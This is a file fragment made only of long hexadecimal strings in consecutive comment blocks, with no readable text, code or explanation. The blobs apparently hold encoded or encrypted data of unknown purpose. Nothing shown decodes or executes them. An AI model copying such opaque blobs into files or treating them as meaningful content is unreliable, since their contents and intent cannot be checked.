8390b908e5a99440a1b8835587b619ff5545b65ce2e4558879da4dab74c96b7227ea536daf212779afbebff4b810c140752d6c22d8ccae8e59c1b834825aa1fc391031772eac8e573c6968d14b31ad57941cabe7787d3a1142c567745fd979eae3113048574851969ca3c1f0e36ec456d7142fceefaadb21887c3b6b411fd3eb49a4c5365871f26b576fd59ec23403012e3b551a4a896052a0885fb0fa22479bcecd15bf9b7c488c4e9570c3b892cdce6785ac838e77132b0fd1f13554535bc2c77fa757093beb4c0ebb60e53c17e2000e2f175c2e441b90598fb8f3113334c008507be15f704066a91c8ababfb1f9dd3cd083822069f26e46f3124d7cbea2b006ce658718d29f87442c9694e15c9768d211e62a2baf9c0e3a4efe1f9e9c2c5c3e6eb626f825eca90736b06929ed5d19f07669c57a9907be71f1f8a8219db92410993eed45f76c03f0e356e88be9351330403528197ec76b97c0bbb9bb848c92bc180ab708bd7aa03579b5bd7437b129eab7e9f0c33ad12fd40b3044d8a5eb75827fee834d3b31ded4bc74795f1fdecd113111cc2205ec42173efcb1ed1e9532b623e016d3c73a3edd4b40fe74c92237672e3a98cc93788d1ee53b6a9ddfbca72d08ce7be583d669662ee57f0032491eb3cfc799efbc0ddec992a005631c331b82760b7ec40e6a99e686f6e7a092f11c82d9be7ae6c471aff3d4908d3b0670a824d9fc7cbec5d2c31306bee65f92b674344ab95fe7147714c769d241fcb4e570c9d30c0a0021cfeb082bd0eac9a40eece683d9901ab4eb5c959f80250d54dede2dfb636e1f8688921adab911de8aef5dfd722acd327789798b0bd2f4906fa14aa4eac21a8e905e9e8acba498329bcd0e928dcdac00770ca7cfce9a7ad6a37700a93179c48f7af9a22b5295a3036c2fe00f50ba70093c830beb010431c81089565586cb2b0ef13ba704c208a6ac754d993865e222963f1f1e85eb1cf835713bf4e96da955a858be694a4dff0064fc82ce23eafa0be7c157d0407dc9d91a5d63599ee68e6f0fc8b723db40ad6ec69718d399fc0d1a997a0b235aa6416a62119049f156118f51d098a8bffd21737809f9d31db1de77084caf2263e3037ee30a805f8fbc27ee72d073dab3da525f1de7bd0f3cda652a632d5f57b3ba56944684061f05f73db437be9adc9cf1431212faf90a418643ec421bf373c20360389312a6edabbedc1166b639818e5c1752c0a3057a728626135ff4d6f6956c257cc95a6b97e5d27f0ca540e2f2997adf87b46c8ba76de0d1ee5c44351f41072c827d6ffb94decb84b96e3e1c3580dbd0f6ca0ecb7beea0deca24a77d8494830b8f8292898829dc1f1576d8b8aa3bc14daab11fa7dc3855818211a6007bf9659e3ec7a4bcfe173a73ccd525978254035a168d54c1ef56f2e40064f54ea4d169573ff8e8c0156b6cfcb948c0afd45eca347b2331a0953a353ca49862c3513587819ea535f402a2276ac7dac2f5ef90d63b19b0a891bf719fc62a5cc275c39a4d8ac4b5290b300b1d5a8c957b1d3e6a2996fde5c85bc3557af6c18de6e5023fa06c6f8e91595d4dfd79017296b0aaf8a597f87be506cef8449e80a7739b74cec2b1a5ebdc6b0c84840238b2a951fa7fcf08f434d39ac23ffb49e06155b619726f354558b441e6d4bd06969e9b12b9b12d35cc159d8d95fdcf41537aa0796f8702e46f5238c39f61aeecd27387bd79790416416492fe41cc94768fd8320563decc549db870e395fc9fcb0a6ce86fcd3065977ab430e1d0d606d278714be0bdd6c43a9163592e814ccec651bbd02a96fed9be6f5e094a02*/
/*a7debf358e50c066592ead7c4c7347b65fe21d37959b873addc26bdfcbb6a6071b056940f89767eb7491080ce6b002ab588b126b0aa98b0423a06677522f9be6cf54e6f80056fce91908f90626399e17e1e3020af3b79110f9645c42f3192fc7ac761fbd9efb814a93dab11d1ecafb3e42a60a1a8dd0ae5481c6c5eaa26a6930a0658372ac5b82b30c5b2743f7650b962d18079c780cac35c65bc8d9cd5ecf446147af13d988071dd6082b1a1071206628a3764a5b34292495a1436666452134c998d968415cb5ad84bfd6a8dea3d0d7b4ab912ab4c8e501649223b16a6cc515901290d7579b6ca229765f6cf188d07b4f2ad6e27bb19e541d989b581718c2bb5522ec9154e2d63a380f0888e70e0d087e9b0b7586fd9144e501a617aa135f6e06c88ae4d83533e580f0ff4970ff637fce6e71b65258f430ad4dc7a47ffbc30e676836f4af2ec62e6bea73178e92187255793115dc622385bf82309c395d4b5876f250446aff6f80c6986c6737cd8d5fa8a2494313cc3ce5de0a440d7c211195701960601bedbf71171fd6c1b3816d2771b5fbfd5a541e8eb25eab15338a2559375ee5905962425645e1a44c4251a8e6b4007b6114505486de305524e9f5327cd9ceee79f4aed7ff784ffd5febd3b2d15f0fcc28d4d0008c809e9cefffed853450e8cf49cdedef2f35e8d9c04031d307bec637b9c13009876b55b8b03f75914755eb291bb15e5d758e34bb9cc139b868e5970f202fccba8135ea61cda83268fecb1ad969e5ecb3609cf4f84dda57bbe9f1503f91139954850e26e0df2141a6267919ae642b37c3e357c8344b2d76b2e93236f38982d4c1aee2a5e0ef2677cae7b6490a0da1e88a3a3f8c767d0b2f9ab83be70c7b83621c405a30a1d5dc026b34fda8ea1c2404f607be085d9872fedbfe2cb575edc0ebafa1f821531865fb84fa28b13567437e2bd475a204a8b34deaa1192f57e0d4a74fc42b426e2aa8bfc963e91355389b1e4ae13347514a6a7e359028c68b6be34862dc1a8e7eaec66263b7d0e662593d252da4d69cec3dd0086eebbd99f1c340e54d13244c5832854e5680763db0906c9a27c8dfc5772b8b8dc63e96c98c8e3d4efcb7868fffa3a6698d8e76dfafadff02993bc67994b040080fec291ff42bffcad54bbda685678ad9cfe68737a59dd6c0f2c5838766de759a5b62f11f06f291fd953bbf9d6dd1fedb040dacf5e9d1916e58cc03449e7ee4756f3765a297841b19b3d1a824b01121d340ba6cd0eecc09eaaa2723805d3787434819533ccb10a20bea74bee22fa496a9d89c81525566e118f381ff38f0db59cab576ffa63372bf4542cbccd91834a93b0bfe8f6d9c6163ccdb26a0ec88537266e55c3920f8abab23a9edffa516cdf15c7b308af0d521e2630b9b959848f7eb3f795cf033b2cae340a2d42199a8c3edf8d2582d6e0e4d9d0c66ec5c0945d961f3b803d2b58bad2a46382ac0a03bf72a9ae020320b1ecdef8d7dc65c71ef7307f3cc6d15a79864d66569ebbd3764e9136f92208d9166dd22b56d7e1315290c76e6b1c3cd9872b9bbb45842a4bafc25c824e003410e7345d6ae422dccad952683fcfae31f5ac976de9ad6cf1cc3de60da5ed464d895036ceada3725aa58ab2515264362090a508be1b4bb4715d0d4910ecbb16c2118062f1b50610e47c1a5c404e801760d714b772e02cf00630a5082c59e48318ef00c7c81f5cf2d43000c560d484c11138c6eae09f145f19af17b73b5b0f395bb09e4852d1abc6886aa5fbf1154b3a07a74115d0248804a2747aeda14e10cf087acabf4e80ce3f260c1bae9d566365c10fec77f8a25ea86f6c7ea668426dc4d910544f6bae460671774d0121c3bfa2c266c1f912de829612f3e05f470e6a78ff5528bc8e809f53b66f64cd944b5292d347636d8044842d0c8ba4565f3b45c4626e75ba9c6c1a97d890ac3324d2afbca81f6eced105f76ca9142ad3dfe54f21c8703567f24700927398477c2c2592755f094f9685d467f5dd770ca7289c005713dfebb09a028471f58e359c7645500a563e7e4e51cb055a864faa4144bcfdbb0fe953748dbf0ac6b187214d8a691e572096156a42dac5a68ae3eae964ca86d32a9897262dd40c619e0c045ee601aa879e5d0aaf98a002df80dbeacd2f42b47ae6eafd611ab6c79a6453606cb1c1ccd1bba6447734c7d7116488c7d520563741908ae57ead462dfcfcb016a8180b89ce8110d3146520ed0a144e32362d98633ad737cb5ba578ec2edc59733576fdd1a3360f52d94409ddea2716666de93e7539b27c7ab76282461af42136a7ebc163ed5b92f365d88a043aafee9d9c17baff4002f64a3067a972d22988c7c0beaed5e69ab76af378f598f4e698c9a22ad1fcead2c0ae321161d26619309e28cabcd79ad26e64413428498e2a5f68b89b1602a1abf6732e983332f1f3c7b315b61a2ed4557852887a847c6d728925355176141cf0ade59f100bdb46b46fd6b0b6611f5b2ed47a211dfac59e10a23ae9f6c6762f9684aed8fdd0b590f4bffd7d883729a5c9b2a37e9dc7be00fe43ea15702329e371f7ff659a7b23d707f8d8ddde5a5bf3cb0550e0c176ef47fc6e48883781e4fe6f380cc6b1736d73f07e3bdce9d023a219d150ed223ec06e45c456a0aa910e42a0b8abfe8fb8f1383b0498064ebd15aabc503cf7666cae78e33056e1669489fcdc265a86c31fdbfe67f9b746c9adb57c3e896805b27b22a8aaf2b18aadfa4bb01ac6fca1ed1d2ae86d6ba904d6ca4f8fd5be60306beeb7fbcb22da20f3f2cb72066f679e5d194b2452a5f8b5d61f7bb12*/
/*20f1918ba8deb434c51060365c1fbf5b0fc61f05c3ce380a0da1dbf283616c3a5da9662222a63b0ed31d36db3f361718c62bc72490cf53efb5d5b8c2381be09e722330e2e17f71ae03d5a6ac0b4d2c3e290663ed516e78cade690cbe1a021c9bbe2a716cad6346ad9997eef29953d8d96a2d8898b00a828b46d1aafa3c91fc1dbc6fade685eb2a371697d74622b03668aa5a4f8a89a6aa0ba63382e3230b0ee9c8899816efc2c1bf7bd7d90a6062c30243e83785045b78fe917141c1d6e4cd240ee84422deba4ba99443d347cdb1e17d57cf4658e5303ff9d86cbe6661cac5395c0c166aeea9a7f0105202d949f2c3e1f81185ee92dab341aec2451d156a3fbf082e55813a58f93d2efec5e33af4ec8648ddce5b9369792bd5e16ae59803b1b8350f506937abe9692e44fac584aef9cb464dceebc1951eafa98df18a4baf2a6f066b5129b2d48b2edd01a21330847518a2b2d0fcd8aee308b5d7a91ed4d2340dab961be552952c8203b523734eb096d888ee7325960db760e675b7cfe82212bd25b480dc797e76c45b31d88446164217b2deee3ffe52498efbfbcb7731be87105a1d31c0c5750f1944d3b14dea237cd1271f4df160b88b2e0f1e0b1b9a7d9d289af3d6d88b0201ecd6568d43d4147aed37d49244367cfe7eb2279f48c0c76baa038541b76a1a1f26d91808f45de4682b0892efd3427857772cc51443bbb8c33593179022be6f32dc5489f7d5f576bc68cf8c9b192569f01757b77a478145d3b3642e874872501faa35f80bac91b244b6c17cc808c270eaf2eaa1c821fcd701917e8b0e5b12e2042ec47caac70661982925e94fe349583b517420b8b886536f268fbc2ee01e04ad4278bba81d9d6238ba786954878744e871f8fae011047203115dc5e20d79b9ff9cce55dcf93ff8a0249a1ae290ccbef208ca4590198615c4ecb4c7ab797b2cece0f7e2806d928ea8f33b86290fd6e704dc8f2f95d0c66c66a1a732aaa03e9a2afedc3a8e656ffcbf1f87bdffa1d8be13ea558bb676bf923e04890a5f568e08f3941c065493fcc9f34dc89e7375a3f949e3ccd6283aeb8f3e26fa3905437f82d399bbd58a8a16854d8b864d41259498c58ea33ff030f939a689b8345dfa95892196e4cd7fbedbb247d3129ca7e1a1878f20dc0b591a4ba1b9e7553f554ce8fec0094ac29dc7eeac3ce1706c5f4b1ff53bc4f4d1648c5163e9bba63e218cf12b4f0eade27275b524eae946ac39efdde356d24f256839c01c3c245608195754e9b3aae7f6d74305b2cc307e05245f5513bc3ee9c4e30eb6a71d8bfe1066cf632af36ced5e3ea7446dbf3b81cea3ff3b7943a7fab9334fb08b38ec6dd392ddd85dc3a2dc7954a2e0b1e959f334bd19f649414dceef3ef8f8682257b5578f6f5787f2d6d1640799d202794233d9c121eda5009cea900f68bfab52ce66622e93f6070f552e1f62f9ec6accbee74031e2c37a8fd065405aed4194309c9d6e9bf703acc304132ed325eaaba811ab50e453b3d7c4bc08e02e408f512950e2b5f8ab22ed1f8353f3d5a4c37b655688de1c824b867b779fdb01f564fb5d7b5e95c599305e260b2a5bde84562736535a6da83c8ff78844399f7f754895c89866b4ca3dfa7eafa26ebceea3b139afa9b5e129fdd69570044604b5563f3c3793c2c972083b74dccc7400504a3faaf920835c1ec639adce96127855774efa3f88873be8291c5b67915877708b939ac33989f40432b2e6b9c08108e2253a1396d277b3dd8c5181321843199a8ec742b5ae9dc515877664bd4c8519723efa15e7560bac312b28e29b9a8bed4136801e3e77e84e9a1082a06716b88dd4fea15b3da8015a4430c2a0bc036b558fef111213dcff52fcfcd08e0fe882b49df0a183ac220cf77170dbe063f6eb399a90a2fc9c6234f94214cea0a32ea9870d083217f3b36894caa4e3a1b05ebd45aded32219933008dee27acf9b390255803cd9a138e7b444e6a9a44623277b4166e038c5d11f096b212a655b7a4d64e5a310311185eb6ef2cf940e103a5eaf571bdebd0b1dfa35a1c61c33d7098395279a45d9ad10ce0b74c6b8e367b4c0070b53bb817748d1174cdf4f30452790d87e9a0562aed6c4b3c8d65ca7da76f5f0a7c925a18293ce9f6259219dd8b2e4368a15d05f6f95de2495b4cf0a4fc8eb00cb9237f698deef9d4a289b10c0cad2309762de8c9c96b358184e61c2c114c6caa325577f0303624bd1031286800adac94a508e8554f90e6ab065e44fccfcd57d3de0d7a3a1ce484ac42c1696da684a63e71ed5360065923190e743d5611c891f835f28765db414a1e8be4d776f10d70f0c05b94836a7fdd0b0a9299a232c0fc451b98d41e379c9e2ede9fdf9c0de66d98515e32a466cc8a85843eda760226843bad93bb1fee2e6061bd6edbcc77a224b6d00390ca6d9b07e893b3dc4b53252348244b0014bd0d5ca2975a5c26326e4534427d9e0180f56ce3af043e63411f291a2bb5d4d4c45d6d5d2144ffca3d58248e900c60365bc6bff8fbec62178498ab376341d31b4595c15f610680ae978863eafb048b3433f265728a5f28ecc8f417f903f5825c43b7716eb84b3a59d9f97a14697af94fb285f7cfc29ca2e9d7fc8207fb2ab7682e40f8aaf6f77183efc3d1acfc99bf45b48499b99916d07dfda906518488f36eb5690b2ca0817f4cc47eeaf59d44e45cc28b0b4bd25ca80f88dc63ddad4b0e874de019c95b1958f3bbde4028acbfe98faa4f8dc30900eb38e8b1334d81ed31b2c449a659e79c035ea7c0ee369efd4eb5c40c7e91c765a0168d2f779b8e65ad0b96f4af*/
/*4ae5db1c6fd7db30ddd5269ce9c00efd69272004747ac77dfad50a61bb5d78ba631180db3ff4d9aa09b4c58b886550f6b7ef3c36707418c357eee7a82ba2cb4963627e8b7f834234a5b580ae8dc154da96988011083f4c55ddda9e38de90cfc9dfa93fdf246fd32b88db3bbddcc61df5a2f0f5375e92809232f57c4ce2481720d06177aa52416fe2b16f28b03767b771aadb56e78f54d41c2d83899a67c89dd9866bfe9b5b4526e221d42d685ba3d1e255a38c70b153fd6078b3f4b52c68c485843835bf5ac5900485c8bdbc32b240aa255e4233264e687ad2125ca5ce3348eab11c9fd7bd481b4c6b9f920929d07134f392329a4cf7f37ae14408638d594d112de739ac1725c39bb71b270b0bc4c183ac233dcf83ce5dadcb97d75f586fbc4151eb6dc4ac386bdcc0a363f1179cc3b660428f3caae952aaf8b2ec298d8acc21fcdaa7cb9406777a24a9517ed90ad833de51d733227ab82cda4ffa7fbeb30d0d30fc1a65955ad416fac5cebb1a733eb65143f4d497527a4880de2c66fea1bef17e65dc4c0ae3029051be4a07d2896ce4c1600bc86c70803cb6d10e9db402481cbb6d2ab753c5f3e581ab1ef8e1eb647ec3d2aa2fcd773a230808669416ea5ec209cb7c72beffb35e105525a7d81c25039fe1fe9c4e7fbd25e376faa8778d9ca0ed01055b61c8703c97bddb87b18ae792b0fe6df6606a16d1065047db430522ac372e22c48ffa46952fef951a10390ab1832f85016c05a9ae31f42f091a44fd66e143e4159f6cd024e71ee5dd252fea121b5eda0cba86a3102830ce38c85fe201cb53bf7d71f19e71548d639dbcc546c8073a11d76a9b0b3749c322c69cdc2c6289c5d9ca747ed71090616861a96ae90bc76bb59f258795e1b9723c8c9512f17d2fa01edbc44fbeda18bd60b28fc8368fd9761748ae018602e0b1cfe086cacafac22ac9cd2e708b7648b8ce908413505d596929dc9dd18bf49dc2f451086b25731f41cd39c4ba1dd04a1cbb250c01294607c8ca8f612eb1c040f8f17116d13ceac57651c0b1c2b5acf630e5f51ac8e3031e31adfc20c3a85a3cc321ec58be44caa2d35dcd03b3fa0f52c653c377ece1d696843e9845da17018ccd3d3cfecaa00e4d062a6bce527091033f234ba17158e70b6bb7ee09acf13bdf2732db39c19511fa24ab69cb3ca9c6e02f2385d0a85d9aba377206eeefa65f0034c5cf31d6a58a8bc011e3eebd2599bf2978eb1de043bf09dc3f466d35f61b1bba7ffeeaf6191cee8fa14678584ad7947850a13208efca03aa3e96e883dea2351f7e544e19cb31be1574e79f2ee136efc5b341dab0848a62c9ed0e7d4348dbd90682ff8eec09dfc937ea545d1b7d8fd8641af1216bb4ac7d5ee0dadc0da909abcba85a952a4f4396f9d33bd9c102fca39717f23a1be86e9bc4c917a7789d19aff3913c72ba3bc886c14b665c0c7514c1132d6517d4c73389466a98cf459091536e5b0674424782444aeb4b9a5b59f7852cf802769f629531c3ed1fcc69edd89fcfe214c72ce16a229ddd9e1d984de2ae32055417e6ad338800debe6d558d92934ea67ae72a92dd2f14ac92a431d35c71e900d854f8846449a0a7e01ade837487a1fcc8dd7e6f7e38c8dfc0bd8708d9f9e1a9501e168264118c4353f7c161e3f126b15f1fbc048ca6ba42c88c469be78585bfb221b549d6e12d0f337060f8294af0c429c416dd3cd85745215e63b97cf2f195a5db9632eab7e1598a0e4835f1ba250f9c4914eeeaccc8fca6af022862886f9aae17741a31707fbf7205f162113dac0140b541a23785b02511a83a018c7fb49d63fb4e0762a0ed56ac4b8e444b4fae2c5d34541bc74c67a6ed6a874b5ca47eff18f4bbced8fe3939d1f335832a7ba731c7e7e8f1e14d7929830506fd443f2c3577a17feec78f8603ab8b9d8a6c5824a377a7247139692ceeae5c7954e665f9514f767a2ad035cc5ff3a4341b303b692022e5473b30902e867b109c37153c96a77b3238d55496889625ebbb072c354ebb22696e522a28354e575cb5df37cd83dfa5fdd19901184668de408b265aee2798fbaa74693eeb8aeefe39fb6753f2a6ecaadb97e435878fb638c09e6126f85dba34f20130b60458bfbc3394de308514d281a451b25e0ef83866d5460466e24b4c77343bd9509304865c3850bc7443118867457590fc5776b8b03350a98bae1d555e1eb870a20bf8572566ae4021a973c06a04a5116428e46174db1b70c4051360ac390da24095c075e50aa6d97a8b897a71f34d27e81aa39eb67839612f740631c8ecfaa11b595b0404fb3f5ed528ffc59d71b350c95cef0b122de7ea8386460d2f280fd86786e750d994747aa4d3d3b7e08907e648f11c936dcdda7e03d5c9d4ff1b84aecf7e0256d9f0d10c506fef0860051d36d150f6bc1e939eccca339b13a38b14fdfbe2269ffa14f239e6c391c75c49b96aae3fa2cce9608174b4269af5118b06303c3f87c9048af2c55a7f3b82f3fa55b69aac93d45b50ec9e77eafab2131caed84a8695d51a0696db3d443b51eec97dd1337a59fe4d607f0ced742e2341b10ee2cdd27518dd9aeb1e93a046b50ec90a66b9534b3e63a76224ca69c37d5cfdea3e1895b9ae082540b503b1e1673554025e224b081728f0f600568f6ebba0922c5d0e732a01c896e24c35235eeaf49187328354950be5c3ec42727a64b5d5887c2f95328b98ce9785f419eec40342aa4011af479c3f8fbdc556efb38666bf7ceb4a0c612e079024b5b141d02f3363194a9618d00e9a44021476b5127f23470e8d6244ed4a0fd5ddfa019a869da76ef33b56eb*/
/*fe819fdb8327daf4f0dfca6c86222abea9070ebcbf220a82046e85c2ee8f255b93600d2fc17af9784ddc9029119ecc4dabd97206858cb6c1af3c0516e5a22067560d01cbc471798f85a200dde1bfda4594913ff2fd6ae736adf2023aabefd6bd3ed4d264049f1c2634321d940640ff03127de71c7aa1cfa925ea042de0b66aa67d7f9f76cd90a3daf120e628150f50c80cd8ed39b1123a5aea72050ec991661f6bcd471d1bdf639339eec89ae0e891a3bc57cae650b13ee76c8ed8cffb7659c09b0a34ca8d2df627dd5ae7ed3999004fed69ac82e959fb5d3dff63c7def6eb4f43e68ee9e923bc3a6e3979c539663852dfe47395abd82db5e857346013bc4900252aa112788aa25e34c4c2f0969545b43616577c24137ba3364a917ae49060c2dd17052736e54305e5963beffe7485623ce9b70202caf9c54d79f83f791502b705d866bc0dc6b37be349c0d4b38769999d7ff30f361eb017946403f39148d0971edf65948f374f31bfb1189ceec03b04f60718ffa9d0a3eefb0dad1c108feff2c28c39266f3bb8d6417c9aae74e0eefecbc90b2adf18d2cce4e3677d172efea5c2050ee7ea1fa5ef5ca5c912f616924e95d23852d0811e72bb79a2d8526ce115543a7c9e263cfaa80bccdf28f966e9325a937a04d43666be8005f5abdb269fab0a2bec879d351a96123dab03dc142c2554267c1c78e01c53d12364c6f4037ded58126d81560ef38576cc62a50d81a112c815d93a7ea4a196fda4e3db4a02929ce368fbd9185b4727a3eea53d00462a3f29d9bc60232cc74da15dce1614ae2967e9fe500580978d28b62ba52a6b9917005e7d02a931ca79aab25eb23c9e4274005dcd99f20d26812f0659cb4bf5cb8c8282331e6617e483c1f14edb9f8d40ac1d25d11347864c6ff434df3d4fd2d5d2bdc780049905a28457b99f1725ee6c4aced6eef772fe688260d200fda7c30cf26d1fc57b9cd472984a125b2aec708bcf1980ebc99d0ebce3eeb0f355f3660f027af5b526750389b656285b36162f616be0c1bcaaed183412015c6884e68bb03faf1cf5d62ee53840a3e9371bbfc116ead3a173080c71ab396511f113969aef0ac4e360c07361389f3d6b9e90cfadaa8568da7bc83c134c959ba8dd2f45cf2be335c6f4c29cfa96643c1f21956df69845f6a5268da9ba55c73e3ba4d0117799507c2051b7254a9b473ffd6ff0a165105ebafc842d549a649c43a8410f64323969589736cae651d585e91392d33596c00208549fa7739fae4cf3967e9546e130d7f97350d4d86c14aa8307340c968a6ddb70651582ca56ca421166e56416907bdba7b1f2649472726ad80e3a2b7dff1436047b5441f1e6eb595604ee05004f6bb8cd41019d2c15e112e3e67278ff6ed99144ab3ae9e0965b61cc231e124802cea31f7bf29d8e572e3b5d843f41c8cfb854ac948d9622f99a5f51f3497629a448f2b8b4cb36d2e9b9faaf513515b9ad211a34690180b77ed2f83f767c6b8196d024712a487017485f413b1a00d9d0f8c15716b08b5056a949c8dc5e74b076478c3b3971d2943e2b70a63b93a4e39a0e98d584f3d05c27b55487c84749bba9f909bb28477e02520190bb2d64b0c121f6b3b358a77ab9faa73f202f310da12d6ebb1fbe01b3695d7c9faa77825dbe1e12fb79a695d28e811e0c66d8c3c6ee92f50fbf00fdeb0b1dc715fe03696b06bf2cb5655ab32727b42152d362b7f23b85673b4aa36848491a6cdaf5b721de9bd1b33e7c09b203dbc894ee1c71921495b28a7b2d4705ee8b30e77863b15322c25c8503a256791bb5eee1d972b1628e4139959d5b8d5a543a20b94204ceeec3a27184a8710f54e533d8517ed9713ccb7e06ebcd1f71d1d1959f5feb969e554ab0543104798129303b5b808e326264cdcac45911d7a05f4f25e2ff6605e8771c356d7517dd80a456c91af8c045ff9a761e7b2a75196fa79a3b09aa12aa36e5e91c1e8f6a290fe737ad082ae39182276495d39786bb2bf0ab35c7da530f1acb00287ac74b69af6bf41617770681fb7d78ab8fee5dea72f4cd61fb764d90751ab036fdc416c90c5e5ddd52d9130e771e4cb08788f456ca3ec323e04d2d6b977bb531240146e26fb3d5149b062ff8827ccf110aa251221a286c2c4c210aa08be193d70348b5bcb5ceae0bb02924b90324bbba01a12043d4dfbf72594b41cccd1971c2a19a78692a5a8ad120eb3e01ca0b4fb9e185f1dfc256d2a811ed00f3b2b2482bc249e38bc5dabdd8d905b093ab7bcd26e6b4c5659c4dde6280cf36d620c97d0176f86301c33b09b9afa588c16d7c6b750a0358f96ad9df26f8b636ef447c4eab8e7002ce05b1e2bd316b3890674098e056ad13b2fe1a856f7b8e6155a98d17f686e2187353b8cd02123368c66fd52ef6d3b7bf32e89ea2297c4bff168d6d999ea3e077ea6191d70c3065106a2598b6e6cb674b4ce67fdcc0e94f197fcdc59f4b01702edef9d8ac0135dd9aa45951573ad568201b78c020a451167b9f3c74930aee176e418803993186e870cf777741332331dda61d97e219c853c46ca91b4bd438768168d2478f6e73748273685a05eddfe0f0d8e099e13b9bfae0860bbda465fc14358d994637523704b0712c16dabe37be803056a81b19f5d7bce5ca4f3e738ef22642ad4e8edc4923ddaec9fed5ec306c6ec3b06d819dc8d851882d818ea36427f3151ec67412a383e6527ecf8b692cd0b31cf76a990e4aee82326301a8ec56a37a7b494dd0d07acdcdb3ebf1a2079aad6db855f2bf7fc815607a22c4d7093b96490066f58c5ea5ab23315c0c9762d38f10a915*/
/*8ab6a4bb055895a300f1e0234560d2165065a8fe5de55fc0d1b06f900957cfe7582b61e8d4943e61257891666a67c40bc2bb15c12741b24bb22023eb49614ae508f9bf21bea208bc2bb45a741bf1b04913a63a2af5572525f16b53eca87ee84dd3f85658f8838a33767ad138b6d562d84285182ba114cd58076219d4949c6f84ad51a11432a7f47191d5caa053fad716e043d7826cc886c5e6c3fce0c4f8ae9dadec7d46de01605738196fbf6c0811122a12c58df636d27c558174339b590fa5c450fced8347c3b1e288cf2e9eaea4302952b85c7996457a535c6e7cd6aaf3fcedade72690e7c7336a76be62b903c20d0b135e899cc02f582a55a1c055f4bc5e35166f9fb5559283ab284c3c73a067e275a81889d83437e2f8337731322ca6b9e3ffcc500f0a0a0198f0ae815a7c85e6333aa00bbf654052fdb45e05601666cbaab566c95689f9f599b8cce2cf5e5778ea4898734eb153b27871043719b44d05d4f2ce25e61dac50324d9a18f6f421adc6d32f70e40b6b9bf3b3dcae9e47362b6892c779d4f9b2cfda6ec5a515569d3b4eb12c4acd3fe120aaa2113b8ea0738d628750722348827e55ac4b8c1c724ea6394bde285d522b5272521b159d83e7626229efaf9ea51e4407bb6d0d15ed019004d51945999d4370b8a4a9034490d4151366dceb2758ac5a39afdc2a1b2a43a77e7cf68a7a3e69b99bce0357f97e7d0da05c45e206a1e7c28e59c8f2f472c715609b0ae3c601f3159d4d2d6fdf4c3fbc29c39d206960fb11218af3ae9615958555245da37196ba78922bb2652146825f31be4015e4fe25373e4b4392e886a01277f5a2b2ebf27f170a6fff1c39c27a14eb4619a15a68c9d1063cbf6be38df083cd40785d9e23a2b58d05361ab3cb91579ef15e55543dd4fc5f2b8c81a98e25676cc65848a5fe8d33ff3cbd49ca180027bb570862051bf41fd968e26455d42b530a3cb3d5412da9b580b9af03342be804257b262e61f95321424d50a87c4343ceec4e5ce07504d30fc6547de5717cc1106a99b7e4df45a549d970e3b83892996ae1bd2d1ff4ae6a19b44d6ef1c20989e3633add18110f676d7f3f854b0fdeba3e59f0eea1d5d354b8a13a441301d8334fd680d5908e8340d4585adf3e171b7d057ca576df7ef877e6ea87406f08abc8a11697ddb6117e02d5e0a0b42e7c421ef30416399c03a3c793824eb422a4c5881af7f44d8eab351335edb569c87ed4a952c0ed340163151be71b76fb607d205ffd4f22c2f54b15f200cfa3f0b5bdba984e8745ea687c5715f7bde7d92e3180532735913452c7d53fc277148e52badacf133264ff80c53e027aa1c8e12524083ee1c20aa3753c2cf68d06a0da58e4dcb4448d1a02b75b713d83fe7b006ebdc0f4ec3589fe5282767678204c93a37258abf8af3d72759cb5d7df8fbbb7df20e93b107a195237d7e258529b70c14d4aa937e37eb31949a1cd1cc414d38f83f89e813cfb2ce7020c37a73de0666350c1cf005a68cb99e0c1384b1c34dbdf300f3cbb1d3e31c200fa2aff73931b72d218f5a5894af9adf02127722bfc0a1629a3ba2bf228aee51d9a551ec4febc25e4562494bafa7a6237aca71c13e50b8b86956e307c5935410a9a2a263d0f2ff836011c7348fd830b143bfc331d9ed32fd2ce4a5bbb9e8f19004054901743272d779fa5d53af2df294ac9970e2a6e0b05d7e81e54a9236ebf9ab1e48490739641aaed47598382ddfd8ff0fd68388037d1ab6af9496133591dedeb0d8736254e7420ba7b27b4e0770dcb15910697a79855e68b5cdb516afc1843af18b514993e39921de7490337e57bba3a1f3c836b881a4c0e2b02705945e005cc9e2f85a52a0f1e4a327a808d058c440468f0efb62863432d9588b6716ffa263a57d68cfbfb59a53aec3cf3617aaed5e233c0db7057718f73769fc5c98a128328eda97c22064797e09e09160a09469ba02cee6745f6bdd6889d14eab4f3874a7d6ca953bc6a0fd7b13213e4ec4aab353b9706ccf7758a468172077d7d9dc5e87166260dcab6a516593dee68a1387075e5d8bb92202954fabafda25ca628f7f96e3784e2ba966e77502c590112897b9e4ecaff744753c78fd468b07d02109010647d70924ff82fca008a4730044412f8ad64d7d08ef59d2403119c7bbe2ab45df5e04719220d8ec3b7738b31faa7465ddbfdc3a187499e94e647659f6b6a1b8fcbc0cd98b007febcca7947236b877338aa58e66ce08ffe8d689261abde6dfaef6e4cccf56980ec36857c3acca661fb7fc1a164f86947b32f703bf5041ca47fdb1e4b05023fdb199c4c603adfa6872c90133038e08ef3998bc7529eaecb16244803bbcd3d0dd69a5d159fc43e912f1c7fdd6151d27ddf82a54d709e358c2271e35d3753b65236c2000b124b766929c2a2ce5cd47f997751e689e8b19761a3260f0811115364b7940c95db9f1d361c5ed44edb73c0dc604f8cf25c7a610de964e0caba4ef9c59dba52e94dd337ba197c37a8f4fbdc64df9bcad89a720c0054c32c376b44a3f58a42725da3febea8baf46ccb183269203a18e0493e4228b11936be998901a7b79a33075382433af8d5319b269ce44e175f0c54638024707a2b72ef04ac70862f790a65c2bf156bdc576aaa9f9f25eb6165a8f9b7205d7c970892ce670c1b4f5f44b02e75ab798ed66f018f27722cdd7a2680080c0ca67196a19325790c35ab542c11728fccd2d523c0c81951fd81b4959587f7916c1852e278ee985ab448800180df272a379e7481f28dec80ddc0f430ea8f4b3ddeddd4624e0d84715fb37083c2442e2a62532e*/
